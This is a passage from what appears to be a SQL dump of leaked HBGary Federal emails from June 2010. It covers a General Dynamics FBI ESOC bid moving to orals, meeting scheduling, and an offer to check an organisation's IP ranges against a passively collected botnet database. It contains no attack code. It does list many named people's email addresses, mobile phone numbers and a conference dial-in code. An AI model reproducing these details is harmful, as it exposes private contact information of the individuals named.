\r\n\r\n\r\n\r\nThanks again for everyone&#8217;s support &#8211; let&#8217;s get this wrapped up for a WIN!!! \r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Friday, May 28, 2010 3:19 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT)\r\nSubject: FBI ESOC - Thank You\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',4669,'aaron_hbgary_com/4669.html'),(7201,'2010-06-08','\"Rademacher, Michael B (TASC)\" <michael.rademacher@TASC.COM>','/aaron@hbgary.com/new/1297005260.M909255P14101Q2056.eml','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>,aaron@hbgary.com,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Sample, John W (TASC)\" <John.Sample@TASC.COM>,\"Miller, Chris R (TASC)\" <Christopher.R.Miller@TASC.COM>,\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','Re: Canceled: COIN Technology','\r\n\r\n\r\n\r\n\r\nRe: Canceled: COIN Technology\r\n\r\n\r\n\r\n\r\nPlease invite John Sample and Chris Miller.\r\n\r\nThanks.\r\n\r\n-----------------------\r\nSent via Blackberry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Pisani, Albert A. (TASC)\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;; Heider, Raymond A (TASC)\r\nCc: Lovegrove, John (TASC); Rademacher, Michael B (TASC)\r\nSent: Tue Jun 08 14:40:47 2010\r\nSubject: RE: Canceled: COIN Technology\r\n\r\nAaron:\r\nThanks.\r\nWe need to get ourselves together asap to discuss.\r\n\r\nJLovegrove, can you please pull this together asap.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, June 08, 2010 2:26 PM\r\nTo: Heider, Raymond A (TASC)\r\nCc: Pisani, Albert A. (TASC); Lovegrove, John (TASC); Rademacher, Michael B (TASC)\r\nSubject: Re: Canceled: COIN Technology\r\n\r\nAll,\r\n\r\nI had a very good customer visit today.&nbsp; Met with John, Mary Beth, and\r\nMarek.&nbsp; I also had a good meeting with a mobile development company,\r\nPointAbout Inc. That has some discriminating technology.&nbsp; More to talk\r\nabout in person.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 1:24 PM, &quot;Heider, Raymond A (TASC)&quot;\r\n&lt;raymond.heider@TASC.COM&gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n',1722,'aaron_hbgary_com/1722.html'),(7202,'2010-06-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005261.M142237P14101Q2057.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: FBI ESOC - Thank You','Sent from my iPadBegin forwarded message:From: &quot;Lemke, Michelle R.&quot; &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: June 8, 2010 4:32:26 PM EDTTo: &quot;Short, Nadia D.&quot; &lt;Nadia.Short@gd-ais.com&gt;, &quot;Mack, Cynthia M.&quot; &lt;Cynthia.Mack@gd-ais.com&gt;, &quot;Rawls, Rodger C.&quot; &lt;Rodger.Rawls@gd-ais.com&gt;, &quot;Burns, Destiny R.&quot; &lt;Destiny.Burns@gd-ais.com&gt;, &quot;McDonald, Rich L.&quot; &lt;Rich.McDonald@gd-ais.com&gt;, &quot;Jaeger, James A.&quot; &lt;jim.jaeger@gd-ais.com&gt;, &quot;Prouty, Charlie S&quot; &lt;Charlie.Prouty@GDIT.com&gt;, &quot;Saxty, Lori J.&quot; &lt;Lori.Saxty@gd-ais.com&gt;, &quot;Metzler, Jay&quot; &lt;Jmetzler@sms.com&gt;, &quot;Bill Lillard&quot; &lt;blillard@emesec.net&gt;, &quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;, &quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;, &quot;Castrejon, Tomas M.&quot; &lt;Tomas.Castrejon@gd-ais.com&gt;, &quot;Autry, Errin L.&quot; &lt;Errin.Autry@gd-ais.com&gt;, &quot;Arismendi, Charles B.&quot; &lt;Charles.Arismendi@gd-ais.com&gt;, &quot;Anderson, Melvin&quot; &lt;Melvin.Anderson@gd-ais.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;, &quot;Brunelli, Rex&quot; &lt;Rex.Brunelli@gd-ais.com&gt;, &quot;Berthiaume, Richard A.&quot; &lt;richard.berthiaume@gd-ais.com&gt;, &quot;Cornell, Billie J.&quot; &lt;Billie.Cornell@gd-ais.com&gt;, &quot;Barrett, Rob J.&quot; &lt;Rob.Barrett@gd-ais.com&gt;, &quot;Burton, Roger C.&quot; &lt;Roger.Burton@gd-ais.com&gt;, &quot;Carron, Brian E.&quot; &lt;Brian.Carron@gd-ais.com&gt;, &quot;Brooks, Holly&quot; &lt;Holly.Brooks@gd-ais.com&gt;, &quot;Mondloch, Carrie H.&quot; &lt;carrie.mondloch@gd-ais.com&gt;, &quot;Joseph, Carol M.&quot; &lt;Carol.Joseph@gd-ais.com&gt;, &quot;Carolina, Shelby D.&quot; &lt;shelby.carolina@gd-ais.com&gt;, &quot;Carter, Richard (NE)&quot; &lt;Richard.Carter@gd-ais.com&gt;, &quot;Maria Horton&quot; &lt;mchorton@emesec.net&gt;, &quot;Jacks, Christopher&quot; &lt;Christopher.Jacks@gdit.com&gt;, &quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;, &quot;Hickey, David T.&quot; &lt;David.Hickey@gd-ais.com&gt;, &quot;Duck, Kenneth I.&quot; &lt;ken.duck@gd-ais.com&gt;, &quot;Domingue, Duane D.&quot; &lt;duane.domingue@gd-ais.com&gt;, &quot;Jackson, Eric D.&quot; &lt;eric.jackson@gd-ais.com&gt;, &quot;Nieves, Efrain&quot; &lt;Efrain.Nieves@gd-ais.com&gt;, &quot;Lhotka, Erven R.&quot; &lt;erven.lhotka@gd-ais.com&gt;, &quot;Egloff, Susan C.&quot; &lt;Susan.Egloff@gd-ais.com&gt;, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;, &quot;Hilliard, Jennifer M.&quot; &lt;Jennifer.Hilliard@gd-ais.com&gt;, &quot;Hickey, David T.&quot; &lt;David.Hickey@gd-ais.com&gt;, &quot;Hart, Kelly J.&quot; &lt;Kelly.Hart@gd-ais.com&gt;, &quot;Hill, Pamela E.&quot; &lt;Pamela.Hill@gd-ais.com&gt;, &quot;Varga, Joan A.&quot; &lt;Joan.Varga@gd-ais.com&gt;, &quot;John Reed Stark&quot; &lt;JStark@StrozFriedberg.com&gt;, &quot;Michael, Jim A.&quot; &lt;Jim.Michael@gd-ais.com&gt;, &quot;Petrauskas, Karen J.&quot; &lt;karen.petrauskas@gd-ais.com&gt;, &quot;Satterfield, Linda S.&quot; &lt;linda.satterfield@gd-ais.com&gt;, &quot;Luna, Roby&quot; &lt;rluna@sms.com&gt;, &quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;, &quot;McLaine, Kate L.&quot; &lt;Kate.McLaine@gd-ais.com&gt;, &quot;White-Taber, Marjorie J.&quot; &lt;marjorie.taber@gd-ais.com&gt;, &quot;Green, Rosemary&quot; &lt;rosemary.green@gd-ais.com&gt;, &quot;Stern, Matthew A.&quot; &lt;Matthew.Stern@gd-ais.com&gt;, &quot;Tilden, Michael J.&quot; &lt;michael.tilden@gd-ais.com&gt;, &quot;Newman, Christopher J.&quot; &lt;Christopher.Newman@gd-ais.com&gt;, &quot;Raja, Razwan N.&quot; &lt;Razwan.Raja@gd-ais.com&gt;, &quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;, &quot;Kyburz, William (EXT) (GDIT)&quot; &lt;William.Kyburz@gdit.com&gt;\r\nSubject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\nCongratulations goes out to the entire FBI ESOC team – Phase one of the technical evaluation has been completed and we have been selected for phase two (oral presentation)!!! The date for orals presentation is June 10, 2010 at 9:00 am. We have the 8 selected presenters and are working the slides and oral presentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight and I would like the lead writers for each task area to dial in. others are welcome but functionals are not required as this is a technical working session to develop slide content. \r\n\r\n\r\nWe have also received clarification questions from the government and are required to respond with no more than 5 pages by noon on the 10th.  Rick Berthiaume is currently working the response and may be asking leads for clarification so please respond to him promptly in order for us to finalize the document by our due date and time. \r\n\r\n\r\n\r\n\r\nThanks again for everyone’s support – let’s get this wrapped up for a WIN!!! \r\n\r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\n\r\nSent: Friday, May 28, 2010 3:19 PM\r\n\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; &#39;Prouty, Charlie S&#39;; Saxty, Lori J.; &#39;Metzler, Jay&#39;; &#39;Bill Lillard&#39;; &#39;Walter, Troy&#39;; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; &#39;Aaron Barr&#39;; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); &#39;Maria Horton&#39;; &#39;Jacks, Christopher&#39;; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; &#39;John Reed Stark&#39;; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; &#39;Luna, Roby&#39;; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; &#39;Walter, Troy&#39;; Kyburz, William (EXT) (GDIT)\r\n\r\nSubject: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\n\r\nIf I’ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n',10346,'aaron_hbgary_com/10346.html'),(7203,'2010-06-08','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005261.M419106P14101Q2058.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','Aaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 6/08/2010 \r\nSubject: Meeting \r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\nView/reply to this message\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation',5498,'aaron_hbgary_com/5498.html'),(7204,'2010-06-08','\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>','/aaron@hbgary.com/new/1297005261.M666850P14101Q2059.eml','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Charlie.Prouty@GDIT.com\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Jmetzler@sms.com\" <Jmetzler@sms.com>,\"blillard@emesec.net\" <blillard@emesec.net>,\"Troy.Walter@gdit.com\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Barrett, Rob J.\" <Rob.Barrett@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Brooks, Holly\" <Holly.Brooks@gd-ais.com>,\"Mondloch, Carrie H.\" <carrie.mondloch@gd-ais.com>,\"Joseph, Carol M.\" <Carol.Joseph@gd-ais.com>,\"Carolina, Shelby D.\" <shelby.carolina@gd-ais.com>,\"Carter, Richard (NE)\" <Richard.Carter@gd-ais.com>,\"mchorton@emesec.net\" <mchorton@emesec.net>,\"Christopher.Jacks@gdit.com\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Hickey, David T.\" <David.Hickey@gd-ais.com>','Re: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nRE: FBI ESOC - Thank You\r\n\r\n\r\nGreat work to all.I know we pulled this together quickly and our being chosen is a credit to your hard work.Good luck and Michelle please let me know if you need anything.Nadia D. ShortVP Strategy and Business Development Cell:508-277-7714\r\n\r\n\r\nFrom: Lemke, Michelle R.To: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; Prouty, Charlie S &lt;Charlie.Prouty@GDIT.com&gt;; Saxty, Lori J.; Metzler, Jay &lt;Jmetzler@sms.com&gt;; Bill Lillard &lt;blillard@emesec.net&gt;; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; Aaron Barr &lt;aaron@hbgary.com&gt;; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); Maria Horton &lt;mchorton@emesec.net&gt;; Jacks, Christopher &lt;Christopher.Jacks@gdit.com&gt;; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; John Reed Stark &lt;JStark@StrozFriedberg.com&gt;; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; Luna, Roby &lt;rluna@sms.com&gt;; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; Walter, Troy &lt;Troy.Walter@gdit.com&gt;; Kyburz, William (EXT) (GDIT)Sent: Tue Jun 08 16:32:26 2010Subject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\nCongratulations goes out to the entire FBI ESOC team &#8211; Phase one of the technical evaluation has been completed and we have been selected for phase two (oral presentation)!!! The date for orals presentation is June 10, 2010 at 9:00 am.&nbsp;We have the 8 selected presenters and are working the slides and oral presentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight and I would like the lead writers for each task area to dial in. others are welcome but functionals are not required as this is a technical working session to develop slide content. \r\n\r\nWe have also received clarification questions from the government and are required to respond with no more than 5 pages by noon on the 10th.&nbsp; Rick Berthiaume is currently working the response and may be asking leads for clarification so please respond to him promptly in order for us to finalize the document by our due date and time. \r\n\r\n\r\n\r\nThanks again for everyone&#8217;s support &#8211; let&#8217;s get this wrapped up for a WIN!!! \r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Friday, May 28, 2010 3:19 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT)\r\nSubject: FBI ESOC - Thank You\r\n\r\n\r\n\r\nJust a note out to all of you that the FBI ESOC proposal has been sent to the customer via e-mail and FedEx. \r\n\r\nThanks to all of you who spent so much time and effort helping us put together a solid document in order to win the FBI ESOC work. Many long hours were put in by so many and others were quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on this e-mail please help me by passing it along, there were just so many to remember. \r\n\r\nI look forward to a WIN and our continued work together in the future. \r\n\r\nThanks again for all your support, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n',10877,'aaron_hbgary_com/10877.html'),(7205,'2010-06-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005261.M915929P14101Q2060.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Netbot Activity','I spoke with Scott@ARSTRAT, he asked me to send the email below:\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Tue, Jun 8, 2010 at 2:55 PM\r\nSubject: Netbot Activity\r\nTo: Scott Chappell \r\n\r\n\r\nHello Scott,\r\n\r\nAs we discussed, HBGary and its partners have technology\r\nwhich allows us to passively enumerate nodes associated with 65 illegal\r\nbot-nets.  As we passively collect this information it is logged to a\r\ndatabase (which is getting quite massive).  If you are interested in finding out\r\nif any ARSTRAT IP addresses have been observed participating in any of these\r\nbotnets, please send me the IP netblocks associated with your\r\norganization and I\r\nwill be happy to query our database and provide the results as a demo\r\nof this technology.\r\nLet me emphasize that we will not be scanning or contacting your IP\r\naddresses in any way.\r\n\r\nTo determine the netblocks you must query the following website from a\r\n.mil connected system:\r\n\r\nhttp://www.nic.mil/\r\n\r\nIf we are provided netblocks, we will then query our database to see\r\nif any of the IP addresses in the netblocks have\r\nbeen passively observed in any of the 65 bot-nets that we collect data\r\non and provide the results (see examples below):\r\n\r\nIP : XXX.XXX.XXX.XXX\r\nConfidence : 71.453984%\r\nEvents :\r\n       Conficker C : Wed May  6 19:19:32 2009 GMT\r\n       Conficker A/B : Thu May 13 01:05:36 2010 GMT\r\n       Spam : Thu Jun 11 18:59:00 2009 GMT\r\n\r\nIP : XXX.XXX.XXX.XXX\r\nConfidence : 71.462935%\r\nEvents :\r\n       Conficker C : Fri Apr 16 14:47:12 2010 GMT\r\n       Conficker A/B : Thu May 13 02:10:33 2010 GMT\r\n       Spam : Sun May 24 11:59:00 2009 GMT\r\n\r\nIP : XXX.XXX.XXX.XXX\r\nConfidence : 73.708112%\r\nEvents :\r\n       Conficker A/B : Tue May 25 04:11:12 2010 GMT\r\n\r\nThis information can then be used to help better secure your networks\r\n(or may be a confirmation that your bot-net related security measures\r\nare sound).\r\n\r\nRegards,\r\nTed\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13650,'aaron_hbgary_com/13650.html'),(7206,'2010-06-08','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>','/aaron@hbgary.com/new/1297005262.M186368P14101Q2061.eml','\"Short, Nadia D.\" <Nadia.Short@gd-ais.com>,\"Mack, Cynthia M.\" <Cynthia.Mack@gd-ais.com>,\"Rawls, Rodger C.\" <Rodger.Rawls@gd-ais.com>,\"Burns, Destiny R.\" <Destiny.Burns@gd-ais.com>,\"McDonald, Rich L.\" <Rich.McDonald@gd-ais.com>,\"Jaeger, James A.\" <jim.jaeger@gd-ais.com>,\"Prouty, Charlie S\" <Charlie.Prouty@GDIT.com>,\"Saxty, Lori J.\" <Lori.Saxty@gd-ais.com>,\"Metzler, Jay\" <Jmetzler@sms.com>,\"Bill Lillard\" <blillard@emesec.net>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Castrejon, Tomas M.\" <Tomas.Castrejon@gd-ais.com>,\"Autry, Errin L.\" <Errin.Autry@gd-ais.com>,\"Arismendi, Charles B.\" <Charles.Arismendi@gd-ais.com>,\"Anderson, Melvin\" <Melvin.Anderson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Berthiaume, Richard A.\" <richard.berthiaume@gd-ais.com>,\"Cornell, Billie J.\" <Billie.Cornell@gd-ais.com>,\"Burton, Roger C.\" <Roger.Burton@gd-ais.com>,\"Carron, Brian E.\" <Brian.Carron@gd-ais.com>,\"Maria Horton\" <mchorton@emesec.net>,\"Jacks, Christopher\" <Christopher.Jacks@gdit.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Domingue, Duane D.\" <duane.domingue@gd-ais.com>,\"Jackson, Eric D.\" <eric.jackson@gd-ais.com>,\"John Reed Stark\" <JStark@StrozFriedberg.com>,\"Luna, Roby\" <rluna@sms.com>,\"Mackert, Todd D.\" <Todd.Mackert@gd-ais.com>,\"Raja, Razwan N.\" <Razwan.Raja@gd-ais.com>,\"Walter, Troy\" <Troy.Walter@gdit.com>,\"Kyburz, William (EXT) (GDIT)\" <William.Kyburz@gdit.com>','RE: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\nRE: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\nLead writers and those presenting at orals we will be working out of the Arrowhead building tonight from 6:30 until ??? (slides are done), please be here we will be on the second floor in room 280. If you absolutely cannot be here tonight please dial in to the number below. Tomorrow I need all presenters physically here at 10560 Arrowhead Drive Fairfax VA, 22030.&nbsp; We will start at 6:30 tomorrow morning and will meet in room 5078. \r\n\r\n\r\nFor all others that would like to dial in tonight to the working session the dial in is as follows: \r\n\r\nDial In: 877-341-0352\r\n\r\nPasscode: \r\n\r\n\r\n\r\n\r\n\r\nParticipant: 2072754&nbsp;\r\n\r\n\r\n\r\nThanks, Michelle\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Tuesday, June 08, 2010 4:32 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas M.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\'; Brunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.; Burton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph, Carol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks, Christopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue, Duane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.; Hoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.; Hill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.; Petrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.; McLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.; Tilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\'; Kyburz, William (EXT) (GDIT)\r\nSubject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\nCongratulations goes out to the entire FBI ESOC team &#8211; Phase one of the technical evaluation has been completed and we have been selected for phase two (oral presentation)!!! The date for orals presentation is June 10, 2010 at 9:00 am.&nbsp;We have the 8 selected presenters and are working the slides and oral presentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight and I would like the lead writers for each task area to dial in. others are welcome but functionals are not required as this is a technical working session to develop slide content. \r\n\r\nWe have also received clarification questions from the government and are required to respond with no more than 5 pages by noon on the 10th.&nbsp; Rick Berthiaume is currently working the response and may be asking leads for clarification so please respond to him promptly in order for us to finalize the document by our due date and time. \r\n\r\nThanks again for everyone&#8217;s support &#8211; let&#8217;s get this wrapped up for a WIN!!! \r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Friday, May 28, 2010 3:19 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny R.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.; \'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, 